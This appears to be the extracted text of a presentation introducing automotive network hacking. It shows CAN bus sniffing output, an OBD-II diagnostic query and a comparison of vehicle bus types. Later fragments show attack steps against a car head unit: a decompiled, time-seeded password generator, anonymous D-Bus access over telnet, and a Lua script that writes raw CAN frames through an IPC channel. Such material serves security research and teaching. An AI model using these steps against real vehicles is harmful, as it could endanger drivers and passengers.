An introduction to :
2001
Presented
2007
Delayed
2011
Pushed back
2013
Adopted
2 year term
2015
Target
not met
2016
New target
2018
ECU
Diagnostic device
Prototyping
device
ifconfig
can0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
UP RUNNING NOARP MTU:16 Metric:1
RX packets:465418 errors:0 dropped:0 overruns:0 frame:0
TX packets:402 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:10
RX bytes:3723344 (3.5 MiB) TX bytes:3216 (3.1 KiB)
eth0 Link encap:Ethernet HWaddr b8:27:eb:76:80:92
inet addr:192.168.1.114 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::66e3:3bb8:8ba:6a98/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:16991 errors:0 dropped:1 overruns:0 frame:0
TX packets:16397 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1879039 (1.7 MiB) TX bytes:3226514 (3.0 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:72 errors:0 dropped:0 overruns:0 frame:0
TX packets:72 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:6288 (6.1 KiB) TX bytes:6288 (6.1 KiB)
candump -ta can0
(1463423655.613548) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423655.613769) can0 120 [8] 40 32 02 77 2A 27 60 00
(1463423655.623525) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423655.623735) can0 120 [8] 40 32 02 77 2A 27 60 00
(1463423655.633500) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423655.633720) can0 120 [8] 40 32 02 77 2A 27 60 00
(1463423655.643550) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423655.643768) can0 120 [8] 40 32 02 77 2A 27 60 00
(1463423655.644017) can0 1A0 [8] 00 15 E0 7C 00 00 00 00
(1463423655.653501) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423655.653682) can0 120 [8] 40 32 02 77 2A 27 60 00
(1463423655.663504) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423655.663729) can0 120 [8] 40 32 02 77 2A 27 60 00
(1463423655.673466) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423655.673689) can0 120 [8] 40 32 02 77 2A 27 60 00
(1463423655.683537) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423655.683755) can0 120 [8] 40 32 02 77 2A 27 60 00
(1463423655.693447) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423655.693666) can0 120 [8] 40 32 02 77 2A 27 60 00
(1463423655.693911) can0 1A0 [8] 00 15 E0 7C 00 00 00 00
(1463423655.694164) can0 301 [8] 01 00 3A 00 00 24 C0 00
(1463423655.694407) can0 410 [8] 80 01 3E 00 00 00 00 00
(1463423655.703490) can0 480 [8] 10 11 02 A0 00 00 00 00
(1463423655.703725) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423655.703949) can0 120 [8] 40 32 02 77 2A 27 60 00
(1463423655.704196) can0 300 [8] D8 C3 00 00 40 00 00 00
(1463423655.713458) can0 110 [8] 68 00 00 00 00 00 00 00cansniffer can0
- time ID data ... < cansniffer can0 # l=2 h=10 t=50 >
^C000000 110 68 00 00 00 00 00 00 00 h.......
0.000000 120 40 32 02 77 2A 27 60 00 @2.w*'`.
0.000000 1a0 00 15 E0 7C 00 00 00 00 ...|....
0.000000 300 D8 C3 00 00 40 00 00 00 ....@...
0.000000 301 01 00 3A 00 00 24 C0 00 ..:..$..
0.000000 410 80 01 3E 00 00 00 00 00 ..>.....
0.000000 480 10 11 02 A0 00 00 00 00 ........
0.000000 510 63 1E 78 07 00 00 00 00 c.x.....
(1463423913.010586) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423913.010815) can0 120 [8] 40 32 02 77 2A 27 60 00
(1463423913.020676) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423913.020829) can0 120 [8] 40 32 02 77 2A 27 60 00
(1463423913.027104) can0 7DF [8] 02 01 05 00 00 00 00 00
(1463423913.030696) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423913.030893) can0 120 [8] 40 32 02 77 2A 27 60 00
(1463423913.040475) can0 7E8 [8] 03 41 05 00 00 00 00 00
(1463423913.040716) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423913.040935) can0 120 [8] 40 32 02 77 2A 27 60 00
(1463423913.050566) can0 110 [8] 68 00 00 00 00 00 00 00
(1463423913.050780) can0 120 [8] 40 32 02 77 2A 27 60 00
# Get coolant temperature
cansend can0 7DF#0201050000000000- time ID data ... < cansniffer can0 # l=2 h=10 t=50 >
0.000000 7df 02 01 05 00 00 00 00 00 ........
0.000000 7e8 03 41 05 00 00 00 00 00 .A......
| GMLan | LIN | CAN | FlexRay |
|---|---|---|---|
| 33kbit/s | 40kbit/s | 1Mbit/s | 10Mbit/s |
| 1 wire | 1 wire | 2 wires | 2/4 wires |
| Single wire CAN. Low speed GM / VW non critical components |
Body Electronics (non critical components) | Powertrain (engine, transmission) |
High performance Powertrain (drive by wire / cruise-control / active suspension |
char *get_password(){
int c_max = 12;
int c_min = 8;
unsigned int t = time(NULL);
srand (t);
unsigned int len = (rand() % (c_max - c_min + 1)) + c_min;
char *password = malloc(len);
int v9 = 0;
do{
unsigned int v10 = rand();
int v11 = convert_byte_to_ascii_letter(v10 % 62);
password[v9] = v11;
v9++;
} while (len > v9);
return password;
}
Portscan : Get inside the D-Bus (anonymous access)
telnet 192.168.5.1 6667
Trying 192.168.5.1...
Connected to 192.168.5.1.
Escape character is '^]'.
AUTH ANONYMOUS
OK 4943a53752f52f82a9ea4e6e00000001
BEGIN
require "service"
params = {}
params.volume = tonumber(arg[1])
x=service.invoke("com.harman.service.AudioSettings", "setVolume", params)
Head Unit
Texas Instruments
OMAP DM3730
Renesas V850
X
ipc = require("ipc")
file = '/dev/ipc/ch7'
g = assert(ipc.open(file))
f0,02,39|91,LEN,CAN1,CAN2,CAN3,CAN4,DATA0,DATA1...
g:write(0xf0, 0x02, 91, 0x08, 0xf1, 0x86, 0xda, 0xf8,
0x05, 0x2F, 0x51, 0x06, 0x03, 0x10, 0x00, 0x00)